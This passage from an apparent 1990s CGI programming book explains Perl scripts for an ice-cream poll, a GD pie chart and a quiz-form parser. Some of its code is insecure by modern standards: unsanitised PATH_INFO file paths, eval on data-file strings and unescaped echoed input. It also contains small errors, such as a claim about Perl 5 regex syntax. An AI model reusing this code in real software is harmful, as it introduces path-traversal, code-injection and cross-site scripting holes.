        $line[$loop] = <POLL>;
        $line[$loop] =~ s/\n$//;
    }

The data file is opened in read mode, and exclusively locked. The loop retrieves the first three lines from the file and stores it in the line array. Newline characters at the end of each line are removed. We use a regular expression to remove the last character rather than using the chop operator, because the third line may or may not have a newline character initially, and chop would automatically remove the last character, creating a potential problem.

    @options = split ("::", $line[0]);
    @data    = split ("::", $line[1]);
    $colors  = $line[2];
    flock (POLL, $unlock);
    close (POLL);

The first line of the file is split on the "::" delimiter and stored in the options array. Each element in this array represents a separate decision (or flavor) within the poll. The same process is repeated for the second line of the data file as well. The main reason for doing this is to find and increment the user-selected flavor, and write the information back to the file. However, the third line, which contains the color information, is not modified in any way.

    $item_no = 3;
    for ($loop=0; $loop <= $#options; $loop++) {
        if ($options[$loop] eq $user_selection) {
            $item_no = $loop;
            last;
        }
    }

The loop iterates through each flavor and compares it to the user selection. If there is a match, the item_no variable will point to the flavor in the array. If there is no match, item_no will have the default value of three, in which case, it equals "Other." The only reason it might not match is if the user accessed the script through a GET query and passed a flavor which is not included in the survey.

    $data[$item_no]++;

The data that represents the flavor is incremented.

    if ( open (POLL, ">" . $full_path) ) {
        flock (POLL, $exclusive_lock);

The file is opened in write, and not append, mode. As a result, the file will be overwritten.

        print POLL join ("::", @options), "\n";
        print POLL join ("::", @data), "\n";
        print POLL $colors, "\n";

Each element within the options and data arrays are joined with the "::" separator and written to the file. The color information is also written to the file.

        flock (POLL, $unlock);
        close (POLL);
        print "Content-type: text/html", "\n\n";

        print <<End_of_Thanks;
<HTML>
<HEAD><TITLE>Thank You!</TITLE></HEAD>
<BODY>
<H1>Thank You!</H1>
<HR>
Thanks for participating in the Ice Cream survey. If you would like to see the
current results, click <A HREF="/cgi-bin/pie.pl${ice_cream_file}">here </A>.
</BODY></HTML>
End_of_Thanks

The file is unlocked and closed. A thank-you message, along with a link to the CGI program that graphs the data, is displayed.

    } else {
        &return_error (500, "Ice Cream Poll File Error",
                              "Cannot write to the poll data file [$full_path].");
    }
} else {
    &return_error (500, "Ice Cream Poll File Error",
                          "Cannot read from the poll data file [$full_path].");
}
exit (0);

If the file could not be opened successfully, error messages are sent to the client. Since both subroutines used by the ice_cream.pl program (return_error and parse_form_data) should be familiar to you by now, we won't bother to show them.

Drawing the Pie Chart

The pie.pl program reads the poll data file and outputs the results, as either a pie graph, or a simple text table, depending on the browser capabilities. The program can be accessed with the following URL:

http://your.machine/cgi-bin/pie.pl/ice_cream.dat

where we use extra path information to specify ice_cream.dat as the data file, located in the document root directory. On a graphic browser such as Netscape Navigator, the pie graph will look like Figure 7.4.

Figure 7.4: Pie graph

[Graphic: Figure 7-4]

The program begins as follows:

#!/usr/local/bin/perl5
use GD;
$webmaster = "shishir\@bu\.edu";
$document_root = "/usr/local/bin/httpd_1.4.2/public";
&read_data_file (*slices, *slices_color, *slices_message);
$no_slices = &remove_empty_slices();

The gd graphics library is used to create the pie graph. The read_data_file subroutine reads the information from the data file and places the corresponding values in slices, slices_color, and slices_message arrays. The remove_empty_slices subroutine checks these three arrays for any zero values within the data, and returns the number of non-zero data values into the no_slices variable.

if ($no_slices == -1) {
    &no_data ();

When all of the values in the data file are zeros, the remove_empty_slices subroutine returns a value of -1. If a -1 is returned into the no_slices variable, the no_data subroutine is called to output a message explaining that there are no results in the data file.

} else {
    $nongraphic_browsers = 'Lynx|CERN-LineMode';
    $client_browser = $ENV{'HTTP_USER_AGENT'};
    if ($client_browser =~ /$nongraphic_browsers/) {
            &text_results();
        } else {
            &draw_pie ();
       }
}
exit(0);

If the client browser supports graphics, the draw_pie subroutine is called to display a pie graph. Otherwise, the text_results subroutine is called to display the results as text.

That's it for the main body of the program. The subroutines that do all the work follow.

The no_data subroutine displays a simple message explaining that there is no information in the data file.

sub no_data
{
    print "Content-type: text/html", "\n\n";

    print <<End_of_Message;
<HTML>
<HEAD><TITLE>Results</TITLE></HEAD>
<BODY>
<H1>No Results Available</H1>
<HR>
Sorry, no one has participated in this survey up to this point.
As a result, there is no data available. Try back later.
<HR>
</BODY></HTML>
End_of_Message
}

The draw_pie subroutine is responsible for drawing the actual pie graph.

sub draw_pie
{
    local ( $legend_rect_size, $legend_rect, $max_length, $max_height,
            $pie_indent, $pie_length, $pie_height, $radius, @origin,
            $legend_indent, $legend_rect_to_text, $deg_to_rad, $image,
            $white, $black, $red, $yellow, $green, $blue, $orange,
            $percent, $loop, $degrees, $x, $y, $legend_x, $legend_y,
            $legend_rect_y, $text, $message);

The pie graph consists of various colored slices representing the different choices, and a legend that points out the color that represents each choice. All of the local variables needed to create the graph are defined.

    $legend_rect_size = 10;
    $legend_rect = $legend_rect_size * 2;

The legend_rect_size variable represents the length and height of each rectangle (actually a square) in the legend. legend_rect is simply the number of pixels from one rectangle to another, taking into account the spacing between adjacent rectangles.

    $max_length = 450;
    if ($no_slices > 8) {
        $max_height = 200 + ( ($no_slices - 8) * $legend_rect );
    } else {
        $max_height = 200;
    }

The length of the image is set to 450 pixels. However, the height of the image is based on the number of options (or flavors) within a poll. This is because the legend rectangles are drawn vertically. If there are eight options or less, the height is set to 200 pixels. On the other hand, if the number of options is greater than eight, the excess amount is multiplied by legend_rect and added to 200 to determine the height of the image.

    $pie_indent = 10;
    $pie_length = $pie_height = 200;
    $radius = $pie_height / 2;

The process of actually drawing the pie is very similar to drawing a clock (see Chapter 6, Hypermedia Documents). The pie is indented from the left and top edges by the value stored in pie_indent. The length and height of the pie graph is 200 pixels, and is constant. The radius of the pie is the diameter of the circle--represented by pie_length and pie_height --divided by two.

    @origin = ($radius + $pie_indent, $max_height / 2);
    $legend_indent = $pie_length + 40;
    $legend_rect_to_text = 25;
    $deg_to_rad = (atan2 (1, 1) * 4) / 180;

The origin is defined to be the center of the pie graph. The legend is spaced 40 pixels from the right edge of the graph. The legend_rect_to_text variable determines the amount of pixels from a legend rectangle to the start of the explanatory text.

    $image = new GD::Image ($max_length, $max_height);
    $white = $image->colorAllocate (255, 255, 255);
    $black = $image->colorAllocate(0, 0, 0);
    $red = $image->colorAllocate (255, 0, 0);
    $yellow = $image->colorAllocate (255, 255, 0);
    $green = $image->colorAllocate(0, 255, 0);
    $blue = $image->colorAllocate(0, 0, 255);
    $orange = $image->colorAllocate(255, 165, 0);

A new image is created, and some colors are allocated. As mentioned earlier, the colors that are specified in the data file are limited to the ones defined in the preceding code.

    grep ($_ = eval("\$$_"), @slices_color);

This is a new construct you have not seen before. It takes each element within the slices_color array, evaluates it at run-time, and stores the corresponding RGB index back in the index. It is equivalent to the following code:

for ($loop=0; $loop <= $no_slices; $loop++) {
    $temp_color = $slices_color[$loop];
    $slices_color[$loop] = eval("\$$temp_color");
}

As you can clearly see, the grep equivalent is so much more compact. The slices_color array contains the colors specified in the data file. And the colors above are also defined with English names. As a result, we can take a color from the data file, such as "yellow," and determine the RGB index by evaluating $yellow. This is exactly what the eval statement does.

    $image->arc (@origin, $pie_length, $pie_height, 0, 360, $black);

A black circle is drawn from the origin, i.e., the center of the pie graph.

    $percent = 0;
    for ($loop=0; $loop <= $no_slices; $loop++) {
        $percent += $slices[$loop];
        $degrees = int ($percent * 360) * $deg_to_rad;
        $image->line (  $origin[0],
                        $origin[1],
                        $origin[0] + ($radius * cos ($degrees)),
                        $origin[1] + ($radius * sin ($degrees)),
                        $slices_color[$loop] );
    }

The read_data_file subroutine, called at the beginning of the program, also calculates percentages for each option and stores them in the slices array. The proportion of votes that go to each flavor is called the "percentage" here, although it's actually a fraction of 1, not 100. For example, if there were a total of five votes cast with two votes for "Vanilla," the value for "Vanilla" would be 0.4.

The loop iterates through each percentage value and draws a line from the origin to the outer edge of the circle. Initially, the first percentage value is multiplied by 360 degrees to determine the angle at which the first line should be drawn. On each successive iteration through the loop, the percentage value represents the sum of all the percentage values up to that point. Then, this percentage value is used to draw the next line, until the sum of the total percentage values equal 100%.

    $percent = 0;
    for ($loop=0; $loop <= $no_slices; $loop++) {
        $percent += $slices[$loop];
        $degrees = int (($percent * 360) - 1) * $deg_to_rad;

        $x = $origin[0] + ( ($radius - 10) * cos ($degrees) );
        $y = $origin[1] + ( ($radius - 10) * sin ($degrees) );

        $image->fill ($x, $y, $slices_color[$loop]);
    }

This fills the areas represented by the various colored lines produced by the previous loop. The fill function in the gd library works in the same manner as the "paint bucket" operation in most drawing programs. It colors an area pixel by pixel until it reaches a pixel that contains a different color than that of the starting pixel. That is the reason why this loop and the previous one cannot be combined, as different colored lines must be drawn first. The starting pixel is calculated so that its angle-from the origin-is slightly less than that of the previously drawn line. As a result, when the fill function is called, the area between two differently colored lines is flooded with color.

    $legend_x = $legend_indent;
    $legend_y = ( $max_height - ($no_slices * $legend_rect) -
                ($legend_rect * 0.75) ) / 2;

The legend's x coordinate is simply defined by the legend_indent variable. However, the y coordinate is calculated in such a way that the legend will be centered with respect to the pie graph.

    for ($loop=0; $loop <= $no_slices; $loop++) {
        $legend_rect_y = $legend_y + ($loop * $legend_rect);
        $text = pack ("A18", $slices_message[$loop]);

This loop draws the rectangles and the corresponding text. The y coordinate is incremented each time through the loop. The text variable reserves 18 characters for the explanatory text. If the text exceeds this limit, it is truncated. Otherwise, it is padded to the limit with spaces.

         $message = sprintf ("%s (%4.2f%%)", $text, $slices[$loop] * 100);

The message variable is formatted to display the text and the corresponding percentage value.

        $image->filledRectangle (   $legend_x,
                                    $legend_rect_y,
                                    $legend_x + $legend_rect_size,
                                    $legend_rect_y + $legend_rect_size,
                                    $slices_color[$loop] );
        $image->string ( gdSmallFont,
                         $legend_x + $legend_rect_to_text,
                         $legend_rect_y,
                         $message,
                         $black );
        }

The rectangle is drawn, and the text is displayed.

    $image->transparent($white);

    $| = 1;
    print "Content-type: image/gif", "\n\n";
    print $image->gif;
}

Finally, white is chosen as the transparent color to create a transparent image.

The draw_pie subroutine ends by printing the Content-type header (using a content type of image/gif) and then the image itself.

For non-graphic browsers, we want to be able to generate the results in text format. The text_results subroutine does just that.

sub text_results
{
    local ($text, $message, $loop);
    print "Content-type: text/html", "\n\n";

    print <<End_of_Results;
<HTML>
<HEAD><TITLE>Results</TITLE></HEAD>
<BODY>
<H1>Results</H1>
<HR>
<PRE>
End_of_Results
    for ($loop=0; $loop <= $no_slices; $loop++) {
        $text = pack ("A18", $slices_message[$loop]);
        $message = sprintf ("%s (%4.2f%%)", $text, $slices[$loop] * 100);
        print $message, "\n";
    }
    print "</PRE><HR>", "\n";
    print "</BODY></HTML>", "\n";
}

The data is formatted using the sprintf function and displayed. The string representing the flavor is limited to 18 characters.

The read_data_file subroutine opens and reads the ice_cream.dat file and returns the results.

sub read_data_file
{
    local (*slices, *slices_color, *slices_message) = @_;
    local (@line, $total_votes, $poll_file, $loop, $exclusive_lock, $unlock);

    $exclusive_lock = 2;
    $unlock = 8;
    if ($ENV{'PATH_INFO'}) {
        $poll_file = $document_root . $ENV{'PATH_INFO'};
    } else {
        &return_error (500, "Poll Data File Error",
                 "A poll data file has to be specified.");
    }

The environment variable PATH_INFO is checked to see if it contains any information. If a null string is returned, an error message is output. If a filename is specified, the server root directory is concatenated to the data file. Unlike a query, the leading "/" is returned as part of the variable.

    if ( open (POLL, "<" . $poll_file) ) {
        flock (POLL, $exclusive_lock);

The data file is opened in read mode. If the file cannot be opened, an error message is returned.

        for ($loop=0; $loop < 3; $loop++) {
            $line[$loop] = <POLL>;
            $line[$loop] =~ s/\n$//;
        }
        @slices_message = split ("::", $line[0]);
        @slices         = split ("::", $line[1]);
        @slices_color   = split ("::", $line[2]);

        flock (POLL, $unlock);
        close (POLL);

Three lines are read from the data file. The lines are split on the "::" character and stored in arrays. The file is unlocked and closed.

        $total_votes = 0;
        for ($loop=0; $loop <= $#slices; $loop++) {
            $total_votes += $slices[$loop];
        }

The total number of votes is determined by adding each element of the slices array.

        if ($total_votes > 0) {
            grep ($_ = ($_ / $total_votes), @slices);
        }

Each element of the slices array is modified to contain the percentage value, instead of the number of votes. You should always check to see that the divisor is greater than zero, as Perl will return an "Illegal division by zero" error.

    } else {
        &return_error (500, "Poll Data File Error",
                 "Cannot read from the poll data file [$poll_file].");
    }
}

If the program cannot open the data file, an error message is displayed.

The final subroutine in pie.pl is remove_empty_slices.

sub remove_empty_slices
{
    local ($loop) = 0;
    while (defined ($slices[$loop])) {
        if ($slices[$loop] <= 0.0) {
            splice(@slices, $loop, 1);
            splice(@slices_color, $loop, 1);
            splice(@slices_message, $loop, 1);
        } else {
            $loop++;
        }
    }
    return ($#slices);
}

In order to save the program from processing choices (or flavors) that have zero votes, those elements and their corresponding colors and text are removed. The splice function removes an element from the array.

Previous | Home | Next
Guestbook | Book Index | Quiz/Test Form Application
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.3 Quiz/Test Form Application

CGI Programming on the World Wide Web

Previous Chapter 7
Advanced Form Applications 		Next

7.3 Quiz/Test Form Application

The application that we are about to discuss allows you to embed special tags within HTML to create quizzes and tests. The program then parses the new tags to create valid forms.

The special tags I designed for the quiz application are shown in Table 7.1.

Table 7.1: Special Tags for Quiz Application
Tag | Use
<QUIZ>, </QUIZ> | start/end a quiz
<QUESTION>, </QUESTION>, TYPE="Text", TYPE="Multiple" | start/end a question block, text field, multiple choice
<ASK>, </ASK> | start/end the question text
<HINT>, </HINT> | start/end hint text
<ANSWER>, </ANSWER> | start/end answer text
<RESPONSE>, </RESPONSE> | start/end response message
<CHOICE>, </CHOICE> | start/end multiple choice item

Before I show the application, I'll show you how the tags are used. Here is an example:

<HTML>
<HEAD><TITLE>CGI Quiz/Test Application</TITLE></HEAD>
<BODY>
<H1>World Wide Web Quiz</H1>
<HR>
<QUIZ>

The <QUIZ> tag represents the start of the quiz. It is similar to the <FORM> tag. These new tags are similar to traditional HTML, in that they ignore whitespace, and disregard the case of the string. You can also embed other HTML tags through a quiz, with the exception of <FORM>.

<QUESTION TYPE="Text">
<ASK>Who is credited with the invention of the World Wide Web?</ASK>

The <QUESTION> tag supports two types of questions: fill-in-the-blank (or "text"), and multiple choice (or "multiple"). The actual question is displayed by the <ASK> tag. Remember to close the <ASK> tag with </ASK>.

<HINT>WWW was created at CERN</HINT>
<HINT>The inventor now works for <A HREF="http://www.w3.org">W3C</A>
at MIT</HINT>

You can specify hints for the user with the <HINT> tag. Notice the embedded hypertext anchor in the <HINT> tag. The only restriction with specifying hints is that they must all be grouped together in one place within the question.

<ANSWER>Tim Berners-Lee</ANSWER>

The answer to the question is stored within the <ANSWER> and </ANSWER> tags. You can have only one answer.

<RESPONSE Tim Berners-Lee>You got it! You do know the history behind
the Web.</RESPONSE>
<RESPONSE Marc Andreessen>Sorry. Marc was the project leader for Mosaic
at NCSA. He currently works for Netscape Communications Corp.</RESPONSE>
<RESPONSE WRONG>I guess you do not know how the Web got started.</RESPONSE>
<RESPONSE SKIP>Come on! At least guess!</RESPONSE>

The <RESPONSE> tags display messages depending on the user input. The two defined response types are "wrong" and "skip." These can be used for wrong answers or skipped questions, respectively. Like the <HINT> tags, all the <RESPONSE> tags have to be grouped together.

</QUESTION>

You have to end each question with the </QUESTION> tag.

<QUESTION TYPE="Multiple">

The " multiple" keyword specifies a multiple-choice question.

<ASK>Which of the following WWW browsers does <B>not</B> support graphics?</ASK>

Notice the use of the HTML tag <B> for emphasis.

<CHOICE A><IMG SRC="/images/mosaic.gif">Mosaic</CHOICE>
<CHOICE B><IMG SRC="/images/netscape.gif">Netscape Navigator</CHOICE>
<CHOICE C><IMG SRC="/images/we.gif">WebExplorer</CHOICE>
<CHOICE D><IMG SRC="/images/lynx.gif">Lynx</CHOICE>
<CHOICE E><IMG SRC="/images/arena.gif">Arena</CHOICE>
<CHOICE F><IMG SRC="/images/cello.gif">Cello</CHOICE>
<ANSWER>D</ANSWER>
<HINT>It was developed at the University of Kansas</HINT>

With multiple-choice questions, you can use single characters to represent each choice. The answer can also be specified as a single character. Notice how the <IMG> tags are used to display inline images within the question. The <CHOICE> tags also have to be grouped together.

<RESPONSE A><A HREF="http://www.ncsa.uiuc.edu/SDG/Software/Mosaic/ NCSAMosaicHome.html">
Mosaic</A> was the first graphic browser.</RESPONSE>
<RESPONSE B><A HREF="http://www.mcom.com">Netscape</A> is the most used browser on the market. It supports:<BR>
<PRE>
         In-Line JPEG Images<BR>
         Client Pull and Server Push Animations<BR>
</PRE></RESPONSE>
<RESPONSE WRONG>I guess you don't surf the Web regularly.</RESPONSE>
<RESPONSE SKIP>Come on! Are you scared of being wrong?</RESPONSE>
</QUESTION>

As mentioned before, you can embed plain HTML within any of the new quiz tags.

<QUESTION TYPE="Multiple">
Now, this is an easy question. You have to get this one right!<BR>
<ASK>Which language is preferred for CGI applications?</ASK>
<CHOICE A><A HREF="http://gopher.metronet.com:70/1/ perlinfo">Perl</A></CHOICE>
<CHOICE B>Tcl</CHOICE>
<CHOICE C>C/C++</CHOICE>
<CHOICE D>C Shell</CHOICE>
<CHOICE D>Visual Basic</CHOICE>
<CHOICE E>AppleScript</CHOICE>
<ANSWER>A</ANSWER>
<RESPONSE A>Good! Perl is well suited for CGI applications. In fact,
this program was written in Perl.</RESPONSE>
<RESPONSE SKIP>I believe you don't know the answer!</RESPONSE>
<RESPONSE WRONG>What? You don't know the answer to this question!</RESPONSE>
</QUESTION>

Notice the extra text before the <ASK> tag. It will be displayed before the question. There is also a hypertext anchor in one of the choices.

</QUIZ>
<HR>
</BODY>
</HTML>

You have to end the quiz with </QUIZ>. Like forms, you can have multiple quizzes in one document, but they cannot be nested inside one another. This document when converted to pure HTML will look like Figure 7.5.

Figure 7.5: Quiz form

[Graphic: Figure 7-5]

Once the user fills out the quiz, this application will correct it, as shown in Figure 7.6.

Figure 7.6: Quiz answers

[Graphic: Figure 7-6]

Before we go any further, let's look at how a quiz can be accessed:

Welcome to this server. <BR>
If you want to be challenged, take this
<A HREF="/cgi-bin/quiz.pl/quiz.html">quiz</A>

The relative path of the data file has to be passed as extra path information to the program. In this case, the path to the file is /quiz.html. Now, let's look at the CGI program that parses this document, and then corrects the quiz once the user submits it.

#!/usr/local/bin/perl
$form = 0;
$this_script = $ENV{'SCRIPT_NAME'};
$webmaster = "Shishir Gundavaram (shishir\@bu\.edu)";
$separator = "\034";

The environment variable SCRIPT_NAME returns the relative path to this script, such as "/cgi-bin/quiz.pl". This relative path is used to set the ACTION attribute in the quiz form to point to this program. The program then corrects the quiz and outputs the results.

$exclusive_lock = 2;
$unlock = 8;
$document_root = "/usr/local/bin/httpd_1.4.2/public";
$images_dir = "/images";
$quiz_file = $ENV{'PATH_INFO'};
if ($quiz_file) {
    $full_path = $document_root . $quiz_file;
} else {
    &return_error (500, "CGI Quiz File Error",
                        "A quiz data file has to be specified.");
}

The PATH_INFO environment variable contains the relative path to the quiz data file.

open (FILE, "<" . $full_path) ||
        &return_error (500, "CGI Quiz File Error",
                       "Cannot open quiz data file [$full_path].");
flock (FILE, $exclusive_lock);

This is a way to check the specified data file. First, Perl tries to open the data file. If not successful, the second part of the expression is evaluated, and an error is returned. This construct is identical to:

if (! open (FILE, "<" . $full_path) ) {
    &return_error (500, "CGI Quiz Data File Error",
                        "Cannot open quiz data file [$full path].");
}

Now, let's proceed with the program:

if ($ENV{'REQUEST_METHOD'} eq "POST") {
    &parse_form_data(*QUIZ);
}
print "Content-type: text/html", "\n\n";

If any form data is present, it is retrieved and stored in the QUIZ associative array. The parse_form_data subroutine is slightly different from what you have seen before. There will be no data in the array when the quiz is first displayed with a GET request. On the other hand, when the quiz is submitted using POST, the form data has to be stored.

Most of the work in this program is performed by a while loop, which does one of three things: It reads a quiz as supplied by a user, it displays the HTML version of a quiz, or it checks answers against those supplied.

while (<FILE>) {
    if (/<\s*quiz\s*>/i) {

The while loop iterates through the data file, storing a line in the Perl default variable $_ each time through the loop. The if statement looks for the <QUIZ> tag. The "\s*" string in the regular expression checks for zero or more spaces before and after the "quiz" string. The "i" at the end of the regular expression makes the search case insensitive.

        $form++;
        $count = 0;

If a <QUIZ> tag was found, the form variable is incremented, representing the number of quizzes in the data file. The count variable is initialized to zero; it is used to keep track of the number of questions within a quiz.

        if ($QUIZ{'cgi_quiz_form'}) {
            $no_correct = $no_wrong = $no_skipped = 0;
            $correct = "Correct! ";
            $wrong = "Wrong! ";
            $skipped = "Skipped! ";
        }

This conditional will be valid only when the form is submitted. In this example, you will see something you have not seen before: a query is attached to the URL in the "ACTION" attribute of the form. The cgi_quiz_form variable represents the quiz number that the program should process.

        &print_form_header();

The print_form_header subroutine outputs the <FORM> tag in the following format:

<FORM ACTION="/cgi-bin/quiz.pl/quiz.txt?cgi_quiz_form=1" METHOD="POST">

In actuality, the program name is not "hard coded" into the ACTION attribute; rather, the value of the environment variable SCRIPT_NAME is used. The data file is specified as extra path information, and the quiz that should be corrected is passed as a query through the "variable" cgi_quiz_form. The long name "cgi_quiz_form" ensures that this variable will not interfere with the other variables used in the form.

        while (<FILE>) {
            if (($type) =
               /<\s*question\s*type\s*=\s*"?([^ ">]+)"?\s*>/i) {
                $count++;

Here is another loop that iterates through the file. The reason for this loop is to look for <QUESTION> tags within a <QUIZ>. If the tag is specified correctly, the question type is stored in the variable type and the count variable is incremented.

Notice the use of the "\s*" throughout the regular expression to allow the user to specify extra whitespace within the tag. Also, the user can omit quote marks for the TYPE attribute, such as:

<QUESTION TYPE=multiple>

and the regular expression will still work correctly, due to the "?" operator, which searches for an optional string. (In Perl 5, you have to use the {0,1} construct instead.)

                while (<FILE>) {
                    if (!/<\s*\/question\s*>/i) {
                        $line = join("", $line, $_);
                    } else {
                        last;
                    }
                }

This embedded while loop serves to store all the information within a question block (i.e., <QUESTION> .. </QUESTION>) in a variable. The loop iterates through the file, and concatenates each line into the line variable.[2] If a </QUESTION> tag is found, the loop is terminated with the last command.

[2] In Perl, there are two ways to perform string concatenation: the "." operator and the join command. The "." operator is less efficient because strings have to be copied back and forth. So you should use the "." operator for simple concatenation only.

                $line =~ s/\n/ /g;

Once the previous while loop terminates, all of the information within the question block is contained in the line variable. In order to treat it as one string for searching purposes, the newline characters are replaced with spaces.

                    ($ask) = ($line =~ /<\s*ask\s*>(.*)<\s*\/ask\s*>/i);
                &print_question($ask);

The above expression determines the question title by retrieving the string in the <ASK> .. </ASK> block. The print_question subroutine displays the question. When parentheses are used in a regular expression, the matched string is stored in such variables as $1, $2, and $3. However, when you use a construct such as this, Perl stores the specified matched string inside the parentheses in the variable provided. When using this construct, a common mistake is:

$ask = ($line =~ /<\s*ask\s*>(.*)<\s*\/ask\s*>/i);

If the parentheses around the $ask variable are omitted, the ask variable will contain the value of "1", which is definitely not what you expect. Basically, you are evaluating the ask variable in a scalar context, not in an array context. In other words, the variable will return the number of stored strings.

                $type =~ tr/A-Z/a-z/;
                $variable = join("-", $count, $type);

The specified question type is converted into a lowercase string. In order to identify individual questions in the quiz, an automatic variable name is given to each one (i.e., "1-text", "2-text", "3-multiple", etc.) This name is used to specify the name of the variable in an input field inside a form.

                if ($type =~ /^multiple$/i) {
                    &split_multiple("choice", *choices);
                    &print_radio_buttons(*choices);
                } elsif ($type =~ /^text$/i) {
                    &print_text_field();
                }

If the question is a multiple-choice question, the split_multiple subroutine is called to retrieve the information specified by each <CHOICE> tag and store it in the choices array. The print_radio_buttons subroutine prints the data stored in the choices array. On the other hand, if the question is a fill-in-the-blank question, the print_text_field subroutine is called.

                if ($line =~ /<\s*hint\s*>/i) {
                    &split_multiple("hint", *hints);
                    &print_hints(*hints);
                }

The line is searched for any <HINT> tags. If any hints are found, they are printed out.

                if ($QUIZ{'cgi_quiz_form'} == $form) {
                    local ($answer, %quiz_keys, %quiz_values,
                       @responses, $user_answer);

If a query was specified as part of the ACTION attribute, referring to the quiz to be corrected, and that value matches the form variable, this loop is executed. Various variables are defined to keep track of the user's answers.

                    &set_browser_graphics();

This subroutine redefines the correct, wrong, and skipped variables to point to graphic files if the client browser can support graphics.

                    ($answer) = ($line =~
                                   /<\s*answer\s*>(.*)<\s*\/answer\s*>/i);
                    &format_string(*answer);

The answer specified in the data file is retrieved and stored in the answer variable. The subroutine format_string removes leading and trailing spaces, replaces multiple spaces with a single space, and converts the string to lowercase. This makes it possible for the user's answer to match the answer specified in the data file.

                    $user_answer = $QUIZ{$variable};
                    &format_string(*user_answer);

The QUIZ associative array contains the form data. The key used to access this array is in the form "question number-question type," such as "1-multiple." Unnecessary spaces are removed from the user's answer as well.

                    &split_multiple("response", *responses);
                    &split_responses(*responses, *quiz_keys,
                                      *quiz_values);
                    print "<HR><BR>";

The response messages to be displayed are read and stored in the responses array. The split_responses subroutine creates two associative arrays: quiz_keys and quiz_values. A typical response tag follows this format:

 <RESPONSE key>value</RESPONSE>

The array quiz_keys is indexed by the "key" value specified above, and the value of the array is also the same "key." The reason for this is to quickly check to see if there is a response message for a particular answer. On the other hand, the quiz_values array contains the "value," indexed by "key."

                     if ($user_answer eq $answer) {
                        print $correct;
                        $no_correct++;

If the user's answer equals the one stored in the data file, the message stored in the variable correct is displayed, and a counter is incremented.

                    } elsif ($user_answer eq "") {
                        print $skipped;
                        $no_skipped++;
                        if ($quiz_keys{'skip'}) {
                            print $quiz_values{'skip'}, " ";
                        }

This conditional checks to see if the user skipped the question. If there is a <RESPONSE SKIP> tag, the specified message is displayed.

                    } else {
                        print $wrong;
                        $no_wrong++;
                        if ($quiz_keys{'wrong'}) {
                            print $quiz_values{'wrong'}, " ";
                        }
                    }

This checks for a wrong answer. If a <RESPONSE WRONG> tag exists, the appropriate message is displayed.

                    if ($user_answer eq $quiz_keys{$user_answer}) {
                        print $quiz_values{$user_answer}, " ";
                    }

If the data file contains a response message for a particular answer, that message is displayed. It is checked using the quiz_keys array, and the value stored in quiz_values is output. An additional space character is displayed after the message, in the case that there are additional messages.

                    print "<BR><HR><BR>";
                }

This concludes the if statement defined above. Remember, this group of statements is executed only if the value of the cgi_quiz_form variable matches the quiz counter, which occurs when the quiz is submitted.

                $line = "";
            } elsif (/<\s*\/quiz\s*>/i) {
                last;
            } else {
                print;
            }
        }

The line variable contains the information contained within a question block. It is cleared at the end of the loop. If a </QUIZ> tag is found, the enclosing while loop is terminated. On the other hand, if the line from the data file was neither a <QUESTION> nor a </QUIZ> tag, it is assumed to be either HTML or text, and is printed without any processing.

        &print_form_footer();

The program jumps to this point if a </QUIZ> tag is found. The print_form_footer subroutine ends the quiz by outputting the Submit and Reset buttons, followed by a </FORM> tag. It will print the buttons only if the program is in question mode.

    } else {
        print;
    }

This part of the loop will be executed only if the line is outside the quiz block. It is printed to standard output verbatim.

}
flock (FILE, $unlock);
close (FILE);
exit(0);

You have to remember to unlock and close the file after all the operations are done.

The print_form_header subroutine outputs the <FORM> tag to start a quiz.

sub print_form_header
{
    print <<Form_Header;
<FORM ACTION="${this_script}/${quiz_file}?cgi_quiz_form=${form}" METHOD="POST">
Form_Header
}

The quiz_file variable, which points to this script, is passed as extra path information. Notice the query in the ACTION attribute. When the quiz is submitted, the program will know exactly which quiz it is.

The parse_form_data subroutine examines the form input and parses it into the FORM_DATA array.

sub parse_form_data
{
    local (*FORM_DATA) = @_;

    local ($query_string, @key_value_pairs, $key_value, $key, $value);

    read (STDIN, $query_string, $ENV{'CONTENT_LENGTH'});
    if ($ENV{'QUERY_STRING'}) {
            $query_string = join("&", $query_string,
                                       $ENV{'QUERY_STRING'});
    }
    @key_value_pairs = split (/&/, $query_string);
    foreach $key_value (@key_value_pairs) {
        ($key, $value) = split (/=/, $key_value);
        $value =~ tr/+/ /;
        $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        if (defined($FORM_DATA{$key})) {
            $FORM_DATA{$key} = join ("\0", $FORM_DATA{$key}, $value);
        } else {
            $FORM_DATA{$key} = $value;
        }
    }
}

When you glance through this subroutine, you should notice one difference from the one you have seen before. The POST request method is assumed, and the information is read into query_string. Remember, this subroutine is only called if the POST request method was used--see the main program. The major difference in this program is that queries are joined to the query_string variable, and decoded as one. The only query that is expected is the one that is passed through the ACTION attribute of the form.

The set_browser_graphics subroutine determines if the browser is graphics capable.

sub set_browser_graphics
{
    local ($nongraphic_browsers, $client_browser);
    $nongraphic_browsers = 'Lynx|CERN-LineMode';
    $client_browser = $ENV{'HTTP_USER_AGENT'};
    if ($client_browser !~ /$nongraphic_browsers/) {
        $correct = "<IMG SRC=\"$images_dir/correct.gif\">";
        $wrong = "<IMG SRC=\"$images_dir/wrong.gif\">";
        $skipped = "<IMG SRC=\"$images_dir/skipped.gif\">";
    }
}

If the client browser support graphics, the correct, wrong, and skipped variables are re-defined to include a relative path to appropriate images.

The print_question subroutine displays the question number, as well as the question itself, using the global variable $count.

sub print_question
{
    local ($question) = @_;
    print <<Question;
<H3>Question $count</H3>
<EM>$question</EM>
<P>
Question
}

The format_string subroutine "formats" the user's answer and the answer specified in the data file to ensure a greater chance of matching.

sub format_string
{
    local (*string) = @_;
    $string =~ s/^\s*(.*)\b\s*$/$1/;

All leading and trailing spaces are removed. This is a very useful regular expression. You might need to use it frequently when parsing data, as users often inadvertently insert spaces before or after a string.

    $string =~ s/\s+/\s/g;

Multiple spaces are replaced by a single space throughout the string.

    $string =~ tr/A-Z/a-z/;
}

Finally, the string is converted to lowercase.

At the heart of the program is the split_multiple subroutine. It is used to split multiple <CHOICE>, <RESPONSE>, and <HINT> tags to make the processing easier.

sub split_multiple
{
    local ($tag, *multiple) = @_;
    local ($info, $first, $loop);

<CHOICE> and <RESPONSE> tags are handled differently than <HINT> tags because they can contain an extra parameter in the tag. Let's first look at the <CHOICE> and <RESPONSE> tags.

    if ( ($tag eq "choice") || ($tag eq "response") ) {
        ($first, $info) = ($line =~ /<\s*$tag\s*([^>]+)>(.*)<\s*\/$tag\s*>/i);
